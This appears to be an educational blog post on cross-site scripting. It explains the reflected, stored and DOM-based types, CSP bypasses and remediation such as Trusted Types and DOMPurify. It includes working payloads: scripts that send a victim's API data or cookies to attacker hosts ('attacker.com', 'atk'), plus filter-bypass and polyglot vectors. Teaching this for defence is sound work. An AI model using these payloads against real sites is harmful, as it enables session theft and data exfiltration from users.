Cross-site scripting is twenty-five years old and still topping bug bounty payouts. Modern frameworks make trivial reflected XSS rare — but the bug class evolved, not disappeared. Here’s the 2026 view.
The Three Flavors
| Type | Where the payload lives | Trigger |
|---|---|---|
| Reflected | URL or form, echoed in response | Victim clicks crafted link |
| Stored | Database, served back to other users | Victim visits an infected page |
| DOM-based | Sink in client-side JS reads a source | Anything that influences the source |
Stored XSS is highest impact (often worm-able). DOM XSS dominates modern SPAs because so much state lives in the browser.
Reflected — The Classic
GET /search?q=<script>alert(1)</script>
Returned in the page:
<div class="results">No results for: <script>alert(1)</script></div>
Real exploit:
<script>
fetch('/api/me').then(r=>r.text()).then(d=>
fetch('https://attacker.com/x?d='+btoa(d))
)
</script>
The first thing every XSS gives you is access to anything the victim’s session can access. CSRF tokens, profile data, internal APIs.
Stored — Maximum Impact
A comment field that doesn’t sanitize HTML, served to every visitor:
<img src=x onerror="fetch('https://atk/?c='+document.cookie)">
If HttpOnly is set, the cookie is unreachable — but session ride is still trivial: you can issue authenticated requests from the victim’s browser.
DOM-Based — Hardest to Find
Source: a piece of attacker-controlled data (URL hash, postMessage, localStorage).
Sink: an API that interprets it as code (innerHTML, eval, setTimeout(str), document.write).
// Vulnerable: src is location.hash
let template = location.hash.substring(1);
document.getElementById('output').innerHTML = template;
https://target/#<img src=x onerror=alert(1)> triggers.
Modern Framework Sinks
React’s dangerouslySetInnerHTML, Angular’s bypassSecurityTrustHtml, Vue’s v-html — all named to scare you, all routinely misused.
Bypassing CSP
A “modern” defense, often misconfigured:
Content-Security-Policy: script-src 'self' https://*.googleapis.com 'unsafe-inline'
That 'unsafe-inline' is XSS-game-over. Even without it:
- JSONP endpoints on
*.googleapis.comexecute attacker-supplied callbacks. - CDN file hosting like AngularJS on cdnjs lets you load Angular and use template injection.
- Strict-dynamic with nonce reuse — if your nonces are not per-request, snapshot one and reuse it across the page.
A strong CSP looks like:
Content-Security-Policy:
default-src 'self';
script-src 'nonce-{random}' 'strict-dynamic';
base-uri 'none';
object-src 'none';
frame-ancestors 'none';
Real-World Payload Patterns
<!-- Innocuous-looking, evades naive filters -->
<svg onload=alert(1)>
<svg/onload=alert`1`>
<iframe srcdoc="<script>alert(1)</script>">
<!-- Filter bypass via attribute -->
<input autofocus onfocus=alert(1)>
<!-- Modern HTML5 -->
<details open ontoggle=alert(1)>
<video><source onerror=alert(1)>
<!-- Polyglot — same payload survives many contexts -->
javascript:/*--></title></style></textarea></script><svg/onload=alert(1)>
Remediation That Holds
- Context-aware encoding. HTML body, attribute, URL, JS, and CSS contexts all need different encodings. Use a framework: React’s JSX, Django templates, Laravel Blade, all encode by default.
- Avoid the dangerous APIs. No
innerHTMLwith user data. UsetextContentor framework binding. - Trusted Types (Chrome / Edge). Set
Content-Security-Policy: require-trusted-types-for 'script'and your application will throw on any string-to-DOM sink without an explicit policy. - Sanitize HTML with DOMPurify when you genuinely need to render user-supplied HTML. Never roll your own.
- Strong CSP with nonce + strict-dynamic.
- HTTPOnly + SameSite=Lax cookies. Doesn’t prevent XSS, but contains it.
The Single Greatest Defense
Trusted Types. Browser-enforced sink protection. The first defense in years that scales — and unlike WAFs, it can’t be bypassed by a creative payload because the browser refuses to render unsafe strings at all.